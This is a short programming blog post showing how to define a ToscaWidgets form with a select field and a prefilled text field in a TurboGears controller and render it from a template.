The syntax for passing options to a widget with toscawidgets is slightly different than it was with the turbogears widgets. This actually had me google searching for a while to find this so I thought I'd post it here as a full example:

You define your widget in the controllers.py file:
from toscawidgets.core import WidgetsList

from toscawidgets.widgets.forms import SingleSelectField, TableForm, TextField
from formencode.schema import Schema
...
class FilteringSchema(Schema):
filter_extra_fields = True
allow_extra_fields = True

class Fields(WidgetsList):
testselect = SingleSelectField(label="Test:", validator=validators.Int())
name = TextField(validator=validators.NotEmpty(), label="Name:", attrs={'maxlength':128})

testform = TableForm("TestForm", validator=FilteringSchema, fields=Fields(), action="save", submit_text="Submit")

class Root(controllers.RootController):

@expose(html="test.templates.formpage")
def formpage(self):
selectlist = [(1, 'option 1'), (2, 'option 2')]
data = dict(child_args=dict(testselect=dict(options=selectlist)), value=dict(name='Test Guy'))
return dict(form=testform, data=data)


This produces your form and the data to populate your form passed as form and data. In the formpage template you simply display the form with the following line:
${form.display(**data)}


This should produce a form with a select field showing option 1 and option 2 in a dropdown, and a name text field filled in with the value Test Guy.

posted at: 01:45 | path: /turbogears | permanent link to this entry



Powered by PyBlosxom | RSS 2.0